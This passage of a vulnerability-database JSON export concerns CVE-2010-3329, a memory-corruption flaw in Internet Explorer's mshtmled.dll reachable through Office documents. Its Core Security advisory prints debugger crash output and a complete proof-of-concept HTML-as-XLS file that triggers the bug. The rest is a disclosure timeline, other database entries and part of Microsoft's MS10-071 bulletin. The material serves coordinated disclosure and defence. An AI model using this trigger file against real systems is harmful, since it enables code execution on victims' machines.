[http://support.microsoft.com/kb/983632].\n[3] This bug was originally investigated in Microsoft Office by Core,\nbut MSRC determined [2010-07-02] that this bug is an exploitable crash\nin Internet Explorer.\n[4] MSRC was not able to reproduce this issue on IE6, however they\nnotifies the code has been determined to exist in this version and the\nfix will be scoped to address this platform as well.\n\n\n10. *About CoreLabs*\n\nCoreLabs, the research center of Core Security Technologies, is charged\nwith anticipating the future needs and requirements for information\nsecurity technologies. We conduct our research in several important\nareas of computer security including system vulnerabilities, cyber\nattack planning and simulation, source code auditing, and cryptography.\nOur results include problem formalization, identification of\nvulnerabilities, novel solutions and prototypes for new technologies.\nCoreLabs regularly publishes security advisories, technical papers,\nproject information and shared software tools for public use at:\n[http://corelabs.coresecurity.com/].\n\n\n11. *About Core Security Technologies*\n\nCore Security Technologies develops strategic solutions that help\nsecurity-conscious organizations worldwide develop and maintain a\nproactive process for securing their networks. The company's flagship\nproduct, CORE IMPACT, is the most comprehensive product for performing\nenterprise security assurance testing. CORE IMPACT evaluates network,\nendpoint and end-user vulnerabilities and identifies what resources are\nexposed. It enables organizations to determine if current security\ninvestments are detecting and preventing attacks. Core Security\nTechnologies augments its leading technology solution with world-class\nsecurity consulting services, including penetration testing and software\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\n[http://www.coresecurity.com].\n\n\n12. *Disclaimer*\n\nThe contents of this advisory are copyright (c) 2010 Core Security\nTechnologies and (c) 2010 CoreLabs, and are licensed under a Creative\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\nLicense: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]\n\n\n13. *PGP/GPG Keys*\n\nThis advisory has been signed with the GPG key of Core Security\nTechnologies advisories team, which is available for download at\n[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "checkpoint_advisories": [{"lastseen": "2021-12-17T12:36:48", "description": "A remote code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer accesses an object that has not been initialized or has been deleted when a document in an HTML format is opened in Microsoft Word. To trigger this issue, an attacker may create a malicious Word file that will exploit this flaw within Internet Explorer. Successful exploitation may allow the attacker to take complete control of an affected system.", "cvss3": {}, "published": "2010-10-12T00:00:00", "type": "checkpoint_advisories", "title": "Internet Explorer HtmlDlgHelper Class Memory Corruption (MS10-071; CVE-2010-3329)", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-3329"], "modified": "2010-10-12T00:00:00", "id": "CPAI-2010-271", "href": "", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-11-28T06:44:52", "description": "A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to the way Internet Explorer accesses an object that has not been initialized or has been deleted when a document in an HTML format is opened in Microsoft Word. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system.", "cvss3": {}, "published": "2014-03-31T00:00:00", "type": "checkpoint_advisories", "title": "Internet Explorer HtmlDlgHelper Class Memory Corruption - Ver2 (CVE-2010-3329)", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2010-3329"], "modified": "2014-03-31T00:00:00", "id": "CPAI-2014-1205", "href": "", "cvss": {"score": 0.0, "vector": "NONE"}}], "cve": [{"lastseen": "2023-09-21T11:48:58", "description": "mshtmled.dll in Microsoft Internet Explorer 7 and 8 allows remote attackers to execute arbitrary code via a crafted Microsoft Office document that causes the HtmlDlgHelper class destructor to access uninitialized memory, aka \"Uninitialized Memory Corruption Vulnerability.\"", "cvss3": {}, "published": "2010-10-13T19:00:00", "type": "cve", "title": "CVE-2010-3329", "cwe": ["CWE-94"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-3329"], "modified": "2021-07-23T15:12:00", "cpe": ["cpe:/a:microsoft:internet_explorer:8", "cpe:/a:microsoft:internet_explorer:7"], "id": "CVE-2010-3329", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3329", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:microsoft:internet_explorer:8:*:*:*:*:*:*:*", "cpe:2.3:a:microsoft:internet_explorer:7:*:*:*:*:*:*:*"]}], "securityvulns": [{"lastseen": "2018-08-31T11:10:37", "description": " Core Security Technologies - CoreLabs Advisory\r\n http://corelabs.coresecurity.com\r\n\r\n Microsoft Office HtmlDlgHelper class memory corruption\r\n\r\n\r\n1. *Advisory Information*\r\n\r\nTitle: Microsoft Office HtmlDlgHelper class memory corruption\r\nAdvisory Id: CORE-2010-0517\r\nAdvisory URL:\r\n[http://www.coresecurity.com/content/MS-Office-HtmlDlgHelper-memory-corruption]\r\nDate published: 2010-10-12\r\nDate of last update: 2010-10-14\r\nVendors contacted: Microsoft\r\nRelease mode: Coordinated release\r\n\r\n\r\n2. *Vulnerability Information*\r\n\r\nClass: Missing Initialization [CWE-456]\r\nImpact: Code execution\r\nRemotely Exploitable: Yes\r\nLocally Exploitable: No\r\nCVE Name: CVE-2010-3329\r\nBugtraq ID: N/A\r\n\r\n\r\n3. *Vulnerability Description*\r\n\r\nMicrosoft Windows is prone to a memory corruption vulnerability when\r\ninstantiating the 'HtmlDlgHelper Class Object' in a Microsoft Office\r\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\r\nInternet Explorer ('mshtmled.dll'). This vulnerability could be used by\r\na remote attacker to execute arbitrary code with the privileges of the\r\nuser that opened the malicious file.\r\n\r\n\r\n4. *Vulnerable packages*\r\n\r\n . IE 6\r\n . IE 7\r\n . IE 8\r\n . MS Office XP\r\n . MS Office 2003\r\n . MS Office 2007 and MS Office 2010 (the control is disabled by default)\r\n\r\n\r\n5. *Non-vulnerable packages*\r\n\r\n . For further information and patches about this issue look at the\r\nMicrosoft Security Bulletin Summary for October 2010 [1], patch ms10-071.\r\n\r\n\r\n6. *Credits*\r\n\r\nThis vulnerability was discovered by Damian Frizza from Core Security\r\nTechnologies.\r\n\r\n\r\n7. *Technical Description / Proof of Concept Code*\r\n\r\nMicrosoft Windows is prone to a memory corruption vulnerability when\r\ninstantiating the 'HtmlDlgHelper Class Object'\r\n('CLASSID:3050f4e1-98b5-11cf-bb82-00aa00bdce0b') in a Microsoft Office\r\nDocument (ie: .XLS, .DOC). The affected vulnerable module is part of\r\nInternet Explorer ('mshtmled.dll'). The vulnerability occurs in\r\n'mshtmled.dll' when the destructor of the 'CHtmlDlgHelper' class is\r\ncalled and then makes access to uninitialized memory.\r\n\r\nThe ActiveX control is marked as "Not Safe for Initialization", and\r\nprompts the user with: "ActiveX controls might contain viruses or other\r\nsecurity hazards. Do not enable this content unless you trust the source\r\nof this file". However, in Office 2003 the bug is triggered even if the\r\nuser answers "No" to the prompt.\r\n\r\nThe following code is where the vulnerability occurs, when opening a\r\n.XLS document on Microsoft Office Excel 2003 ('mshtmled.dll'\r\nv8.0.6001.18702):\r\n\r\n/-----\r\nmshtmled!ReleaseInterface:\r\n42b919c0 8bff mov edi,edi\r\n42b919c2 55 push ebp\r\n42b919c3 8bec mov ebp,esp\r\n42b919c5 8b4508 mov eax,dword ptr [ebp+8]\r\nss:0023:0013d104=00310065\r\n42b919c8 85c0 test eax,eax\r\n42b919ca 7406 je mshtmled!ReleaseInterface+0x12\r\n(42b919d2) [br=0]\r\n42b919cc 8b08 mov ecx,dword ptr [eax] ds:0023:00310065\r\n42b919ce 50 push eax\r\n42b919cf ff5108 call dword ptr [ecx+8] \r\nds:0023:7d02029c=2a2c277a\r\n\r\neax=00310065 ebx=00000000 ecx=7d020294 edx=df0b3d60 esi=001edbdc\r\nedi=00000000\r\neip=2a2c277a esp=0013d0f4 ebp=0013d0fc iopl=0 nv up ei pl nz na\r\npe nc\r\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 \r\nefl=00000206\r\n\r\nStack Trace:\r\n<Unloaded_ion.dll>+0x2a2c2779\r\nmshtmled!ReleaseInterface+0x12\r\nmshtmled!CHtmlDlgHelper::~CHtmlDlgHelper+0x10\r\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::`scalar deleting\r\ndestructor'+0xd\r\nmshtmled!ATL::CComAggObject<CHtmlDlgHelper>::Release+0x27\r\nVBE6!rtcStrConvVar+0xbd65\r\nVBE6!rtcSetDatabaseLcid+0xa823\r\nEXCEL!Ordinal41+0xd2ad0\r\nEXCEL!Ordinal41+0x14082a\r\nUSER32!CallWindowProcW+0x1b\r\nInstruction Address: 0x000000002a2c277a\r\n-----/\r\n\r\n\r\nThe following html code demonstrates the bug on Excel 2002/2003. Save\r\nthe file as .XLS and open it on Excel.\r\n\r\n/-----\r\n<html xmlns:v="urn:schemas-microsoft-com:vml"\r\nxmlns:o="urn:schemas-microsoft-com:office:office"\r\nxmlns:x="urn:schemas-microsoft-com:office:excel">\r\n\r\n<head>\r\n<meta http-equiv=Content-Type content="text/html; charset=windows-1252">\r\n<meta name=ProgId content=Excel.Sheet>\r\n<meta name=Generator content="Microsoft Excel 10">\r\n<!--[if !mso]>\r\n<style>\r\nv\:* {behavior:url(#default#VML);}\r\no\:* {behavior:url(#default#VML);}\r\nx\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n</style>\r\n<![endif]--><!--[if gte mso 9]><xml>\r\n <o:DocumentProperties>\r\n <o:LastAuthor>TEST</o:LastAuthor>\r\n <o:LastSaved>2010-08-03T05:19:51Z</o:LastSaved>\r\n <o:Version>10.6858</o:Version>\r\n </o:DocumentProperties>\r\n <o:OfficeDocumentSettings>\r\n <o:DownloadComponents/>\r\n </o:OfficeDocumentSettings>\r\n</xml><![endif]-->\r\n\r\n<!--[if gte mso 9]><xml>\r\n <x:ExcelWorkbook>\r\n <x:ExcelWorksheets>\r\n <x:ExcelWorksheet>\r\n <x:Name>test</x:Name>\r\n <x:WorksheetOptions>\r\n <x:CodeName>Sheet1</x:CodeName>\r\n <x:Selected/>\r\n <x:DoNotDisplayGridlines/>\r\n <x:ProtectContents>False</x:ProtectContents>\r\n <x:ProtectObjects>False</x:ProtectObjects>\r\n <x:ProtectScenarios>False</x:ProtectScenarios>\r\n </x:WorksheetOptions>\r\n </x:ExcelWorksheet>\r\n </x:ExcelWorksheets>\r\n <x:WindowHeight>9345</x:WindowHeight>\r\n <x:WindowWidth>13260</x:WindowWidth>\r\n <x:WindowTopX>240</x:WindowTopX>\r\n <x:WindowTopY>60</x:WindowTopY>\r\n <x:ProtectStructure>False</x:ProtectStructure>\r\n <x:ProtectWindows>False</x:ProtectWindows>\r\n </x:ExcelWorkbook>\r\n</xml><![endif]--><!--[if gte mso 9]><xml>\r\n <o:shapedefaults v:ext="edit" spidmax="1026"/>\r\n</xml><![endif]--><!--[if gte mso 9]><xml>\r\n <o:shapelayout v:ext="edit">\r\n <o:idmap v:ext="edit" data="1"/>\r\n </o:shapelayout></xml><![endif]-->\r\n</head>\r\n\r\n<body link=blue vlink=purple>\r\n\r\n<table x:str border=0 cellpadding=0 cellspacing=0 width=64\r\nstyle='border-collapse:\r\n collapse;table-layout:fixed;width:48pt'>\r\n <col width=64 style='width:48pt'>\r\n <tr height=17 style='height:12.75pt'>\r\n <td height=17 width=64 style='height:12.75pt;width:48pt' align=left\r\n valign=top><!--[if gte vml 1]><v:shapetype id="_x0000_t201"\r\ncoordsize="21600,21600"\r\n o:spt="201" path="m,l,21600r21600,l21600,xe">\r\n <v:stroke joinstyle="miter"/>\r\n <v:path shadowok="f" o:extrusionok="f" strokeok="f" fillok="f"\r\n o:connecttype="rect"/>\r\n <o:lock v:ext="edit" shapetype="t"/>\r\n </v:shapetype><v:shape id="_x0000_s1025" type="#_x0000_t201"\r\nstyle='position:absolute;\r\n margin-left:0;margin-top:0;width:48pt;height:12.75pt;z-index:1'\r\n strokecolor="windowText [64]" o:insetmode="auto">\r\n <![if gte mso 9]><o:title=""/>\r\n <![endif]><x:ClientData ObjectType="Pict">\r\n <x:SizeWithCells/>\r\n <x:CF>Pict</x:CF>\r\n <x:AutoPict/>\r\n </x:ClientData>\r\n </v:shape><![endif]--><![if !vml]><span style='mso-ignore:vglayout;\r\n position:absolute;z-index:1;margin-left:0px;margin-top:0px;width:64px;\r\n height:17px'><![endif]>\r\n\r\n<object classid="CLSID:3050F4E1-98B5-11CF-BB82-00AA00BDCE0B"\r\nid=obj></object>\r\n\r\n<![if !vml]></span><![endif]><span\r\n style='mso-ignore:vglayout2'>\r\n <table cellpadding=0 cellspacing=0>\r\n <tr>\r\n <td height=17 width=64 style='height:12.75pt;width:48pt'></td>\r\n </tr>\r\n </table>\r\n </span></td>\r\n </tr>\r\n <![if supportMisalignedColumns]>\r\n <tr height=0 style='display:none'>\r\n <td width=64 style='width:48pt'></td>\r\n </tr>\r\n <![endif]>\r\n</table>\r\n</body>\r\n</html>\r\n\r\n-----/\r\n\r\n\r\nThis exploitable condition was reproduced in the following versions of\r\n'mshtmled.dll':\r\n\r\n . 'mshtmled.dll' v8.0.6001.18702\r\n . 'mshtmled.dll' v8.0.6001.18000\r\n . 'mshtmled.dll' v7.0.6000.17023\r\n . 'mshtmled.dll' v7.0.6000.17080\r\n\r\n\r\n8. *Report Timeline*\r\n\r\n. 2010-05-28:\r\nInitial notification to the vendor. Draft advisory and proof-of-concept\r\nfiles sent to MSRC. Publication date set for July 13, 2010.\r\n\r\n. 2010-06-11:\r\nCore requests from the vendor an update on the status of this case.\r\n\r\n. 2010-06-14:\r\nThe vendor responds that its engineers are still investigating this\r\nissue; and that they expect to have more information from the\r\ninvestigation and triage process within the next few days.\r\n\r\n. 2010-06-15:\r\nThe vendors informs that they have been determined that the ActiveX\r\ncontrol is marked as "Not Safe for Initialization"; and prompts the user\r\nwith a dialog that warns the user that they are going to be executing a\r\npotentially malicious code. In consequence, the vendor treats this case\r\nas the same scenario as a user that tries to enable and open an Office\r\ndocument with a Macro or VBA code contained within.\r\n\r\n. 2010-06-15:\r\nCore asks the vendor if the previous mail means that it does not intent\r\nto fix the bug or that it does not recognize it as a security issue. The\r\nreporter's viewpoint is that a dialog prompt is not a fix "per se" and\r\njust a defense in depth mechanism; and that he would prefer to see the\r\nbug fixed rather than relying on mitigations that prevent exploitation.\r\n\r\n. 2010-06-15:\r\nCore adds the following information: in Office 2003 even if the user\r\nanswers No to the ActiveX dialog, the application ends up crashing.\r\n\r\n. 2010-06-16:\r\nVendor responds that it is currently investigating the new information.\r\n\r\n. 2010-06-28:\r\nVendor informs that it has found that the vulnerable code actually\r\nexists and is owned by the IE team whom is currently investigating the\r\ncrash; and that this case is transferred over to them (and to a new case\r\nmanager as well).\r\n\r\n. 2010-07-02:\r\nVendor informs Core that the IE team has finished the investigation into\r\nthis issue and was able to reproduce the issue reported. During the\r\ninvestigation it was determined that this is an exploitable crash in\r\nInternet Explorer. Vendor will send Core the list of affected Internet\r\nExplorer versions when available.\r\n\r\n. 2010-07-02:\r\nCore acknowledges receipt of the update, and reminds that although the\r\nvulnerable code is owned by the IE team this also affects Office\r\n(including 2010). Core offers to postpone publication of its advisory\r\nfrom July 13th to August 10th on the basis of a firm commitment to a\r\nrelease date from the vendor's side. Core informs that it is evaluating\r\nthe possibility of using Office killbit recently introduced by MS10-036\r\nas a workaround, but that MS10-036 points to a knowledge base article\r\n[2] that is no longer available.\r\n\r\n. 2010-07-07:\r\nVendor acknowledges previous mail, and states that it will determine\r\nwith the product team how this fix could be included in the August\r\nrelease. Vendor requests an updated version of the advisory, and to\r\ninclude a vendor statement.\r\n\r\n. 2010-07-22:\r\nCore requests an update on the status of the vulnerability report; and\r\ninforms that publication of its advisory has been rescheduled to August\r\n10, 2010, despite the fact that Core did not receive any updates. Core\r\ninforms that the publication of this advisory is transferred to a new\r\ncase manager.\r\n\r\n. 2010-08-04:\r\nCore sends an updated version of the advisory and also asks if MSRC can\r\nprovide:\r\n 1. The list of affected software versions.\r\n 2. The CVE number assigned to this vulnerability (if it exists).\r\n 3. The steps to reproduce the vulnerability in IE [3].\r\n 4. The link to the knowledge base article about the newly introduced\r\nOffice killbit given that Core is investigating using that defense\r\nmechanism as a workaround but MS10-036 points to a knowledge base\r\narticle that is no longer available\r\n([http://support.microsoft.com/kb/983632]).\r\n\r\n Core also notifies this advisory is currently scheduled to be published\r\non August 10, 2010 but the publication can be reviewed if Microsoft\r\nresponds with a firm commitment to a release date of fixes, and\r\ntechnical information about the root cause of this vulnerability.\r\n\r\n. 2010-08-04:\r\nMSRC responds that the updated advisory draft was internally forwarded\r\nand they are working on collecting answers to the requested questions.\r\n\r\n. 2010-08-05:\r\nMSRC sends the answers to the asked questions:\r\n 1. The affected versions of Internet Explorer are IE6 [4], IE7 and IE8.\r\n 2. MSRC is unable to assign a CVE as it is too early. CVEs are\r\ntypically assigned closer to the scheduled release date and MSRC will\r\nreceive the block of CVEs from Mitre for the October release of the\r\nInternet Explorer security update.\r\n 3. MSRC notifies there is no attack vector in IE, and they cannot\r\nprovide steps to reproduce the vulnerability in IE.\r\n 4. The knowledge base article about the newly introduced Office\r\nkillbit was redirected to [http://support.microsoft.com/kb/2252664].\r\n\r\n. 2010-08-06:\r\nCore asks MSRC to clarify if the fix for this issue has been scheduled\r\nto be released in October.\r\n\r\n. 2010-08-06:\r\nMSRC confirms that the fix for this issue is scheduled for the October\r\nrelease of IE.\r\n\r\n. 2010-08-09:\r\nCore re-schedules the publication of the advisory for October 12 and\r\nnotifies that this date should be considered as final, if Microsoft does\r\nnot release fixes on that date, the advisory will be released as 'user\r\nrelease'.\r\n\r\n. 2010-08-09:\r\nMSRC confirms that the fix for this issue is scheduled for the October\r\nrelease of IE.\r\n\r\n. 2010-10-01:\r\nMSRC provides a status update about this issue and notifies that it is\r\nslated to be included in the October release of the IE Cumulative Update\r\nand SafeHTML update scheduled for October 12, 2010. MSRC also notifies\r\nthat the CVE assigned to this issue is CVE-2010-3329.\r\n\r\n. 2010-10-01:\r\nMSRC notifies that they have made a mistake and included an invalid\r\ndetail in the last status update. In particular, the issue does not\r\naffect the SafeHTML update scheduled for October but it will be shipping\r\nin the IE Cumulative Update scheduled for October.\r\n\r\n. 2010-10-01:\r\nCore acknowledges the MSRC's e-mail and notifies that although the\r\nproblem is located in IE-owned code, the problem also affects Office up\r\nto 2010. Core assumes this will be specified in the MSRC bulletin and\r\nasks for confirmation.\r\n\r\n. 2010-10-04:\r\nMSRC confirms that the description of the vulnerability calls out that\r\nthe vector to the vulnerability is through opening a word document.\r\n\r\n. 2010-10-12:\r\nAdvisory CORE-2010-0517 is published.\r\n\r\n\r\n9. *References*\r\n\r\n[1] Microsoft security bulletin summary for October 2010 -\r\n[http://www.microsoft.com/technet/security/bulletin/ms10-oct.mspx].\r\n[2] Office killbit [http://support.microsoft.com/kb/983632].\r\n[3] This bug was originally investigated in Microsoft Office by Core,\r\nbut MSRC determined [2010-07-02] that this bug is an exploitable crash\r\nin Internet Explorer.\r\n[4] MSRC was not able to reproduce this issue on IE6, however they\r\nnotifies the code has been determined to exist in this version and the\r\nfix will be scoped to address this platform as well.\r\n\r\n\r\n10. *About CoreLabs*\r\n\r\nCoreLabs, the research center of Core Security Technologies, is charged\r\nwith anticipating the future needs and requirements for information\r\nsecurity technologies. We conduct our research in several important\r\nareas of computer security including system vulnerabilities, cyber\r\nattack planning and simulation, source code auditing, and cryptography.\r\nOur results include problem formalization, identification of\r\nvulnerabilities, novel solutions and prototypes for new technologies.\r\nCoreLabs regularly publishes security advisories, technical papers,\r\nproject information and shared software tools for public use at:\r\n[http://corelabs.coresecurity.com/].\r\n\r\n\r\n11. *About Core Security Technologies*\r\n\r\nCore Security Technologies develops strategic solutions that help\r\nsecurity-conscious organizations worldwide develop and maintain a\r\nproactive process for securing their networks. The company's flagship\r\nproduct, CORE IMPACT, is the most comprehensive product for performing\r\nenterprise security assurance testing. CORE IMPACT evaluates network,\r\nendpoint and end-user vulnerabilities and identifies what resources are\r\nexposed. It enables organizations to determine if current security\r\ninvestments are detecting and preventing attacks. Core Security\r\nTechnologies augments its leading technology solution with world-class\r\nsecurity consulting services, including penetration testing and software\r\nsecurity auditing. Based in Boston, MA and Buenos Aires, Argentina, Core\r\nSecurity Technologies can be reached at 617-399-6980 or on the Web at\r\n[http://www.coresecurity.com].\r\n\r\n\r\n12. *Disclaimer*\r\n\r\nThe contents of this advisory are copyright (c) 2010 Core Security\r\nTechnologies and (c) 2010 CoreLabs, and are licensed under a Creative\r\nCommons Attribution Non-Commercial Share-Alike 3.0 (United States)\r\nLicense: [http://creativecommons.org/licenses/by-nc-sa/3.0/us/]\r\n\r\n\r\n13. *PGP/GPG Keys*\r\n\r\nThis advisory has been signed with the GPG key of Core Security\r\nTechnologies advisories team, which is available for download at\r\n[http://www.coresecurity.com/files/attachments/core_security_advisories.asc].\r\n\r\n\r\n", "cvss3": {}, "published": "2010-10-16T00:00:00", "type": "securityvulns", "title": "CORE-2010-0517 - Microsoft Office HtmlDlgHelper class memory corruption", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2010-3329"], "modified": "2010-10-16T00:00:00", "id": "SECURITYVULNS:DOC:24934", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:24934", "sourceData": "", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2021-06-08T19:16:44", "description": "Multiple memory corruptions, cross domain information disclosure.", "cvss3": {}, "published": "2010-10-13T00:00:00", "type": "securityvulns", "title": "Microsoft Internet Explorer multiple security vulnerabilities", "bulletinFamily": "software", "hackapp": {}, "cvss2": {}, "cvelist": ["CVE-2010-3331", "CVE-2010-0808", "CVE-2010-3330", "CVE-2010-3328", "CVE-2010-3324", "CVE-2010-3325", "CVE-2010-3243", "CVE-2010-3326", "CVE-2010-3329", "CVE-2010-3327"], "modified": "2010-10-13T00:00:00", "id": "SECURITYVULNS:VULN:11189", "href": "https://vulners.com/securityvulns/SECURITYVULNS:VULN:11189", "sourceData": "", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-08-31T11:10:37", "description": "Microsoft Security Bulletin MS10-071 - Critical\r\nCumulative Security Update for Internet Explorer (2360131)\r\nPublished: October 12, 2010\r\n\r\nVersion: 1.0\r\nGeneral Information\r\nExecutive Summary\r\n\r\nThis security update resolves seven privately reported vulnerabilities and three publicly disclosed vulnerabilities in Internet Explorer. The most severe vulnerabilities could allow remote code execution if a user views a specially crafted Web page using Internet Explorer. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.\r\n\r\nThis security update is rated Critical for Internet Explorer 6, Internet Explorer 7, and Internet Explorer 8 on Windows clients; and Important for Internet Explorer 6, Internet Explorer 7, and Internet Explorer 8 on Windows servers. For more information, see the subsection, Affected and Non-Affected Software, in this section.\r\n\r\nThe security update addresses these vulnerabilities by modifying the way that Internet Explorer handles objects in memory, CSS special characters, HTML sanitization, the AutoComplete feature, the Anchor element, and script during certain processes. For more information about the vulnerabilities, see the Frequently Asked Questions (FAQ) subsection under the next section, Vulnerability Information.\r\n\r\nRecommendation. The majority of customers have automatic updating enabled and will not need to take any action because this security update will be downloaded and installed automatically. Customers who have not enabled automatic updating need to check for updates and install this update manually. For information about specific configuration options in automatic updating, see Microsoft Knowledge Base Article 294871.\r\n\r\nFor administrators and enterprise installations, or end users who want to install this security update manually, Microsoft recommends that customers apply the update immediately using update management software, or by checking for updates using the Microsoft Update service.\r\n\r\nSee also the section, Detection and Deployment Tools and Guidance, later in this bulletin.\r\n\r\nKnown Issues. None\r\nTop of sectionTop of section\r\nAffected and Non-Affected Software\r\n\r\nThe following software have been tested to determine which versions or editions are affected. Other versions or editions are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, visit Microsoft Support Lifecycle.\r\n\r\nAffected Software\r\nOperating System\tComponent\tMaximum Security Impact\tAggregate Severity Rating\tBulletins Replaced by This Update\r\nInternet Explorer 6\t \t \t \t \r\n\r\nWindows XP Service Pack 3\r\n\t\r\n\r\nInternet Explorer 6\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 6\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 Service Pack 2\r\n\t\r\n\r\nInternet Explorer 6\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 6\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 with SP2 for Itanium-based Systems\r\n\t\r\n\r\nInternet Explorer 6\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\nInternet Explorer 7\t \t \t \t \r\n\r\nWindows XP Service Pack 3\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 with SP2 for Itanium-based Systems\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Vista Service Pack 1 and Windows Vista Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7**\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7**\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2\r\n\t\r\n\r\nInternet Explorer 7\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\nInternet Explorer 8\t \t \t \t \r\n\r\nWindows XP Service Pack 3\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Vista Service Pack 1 and Windows Vista Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code 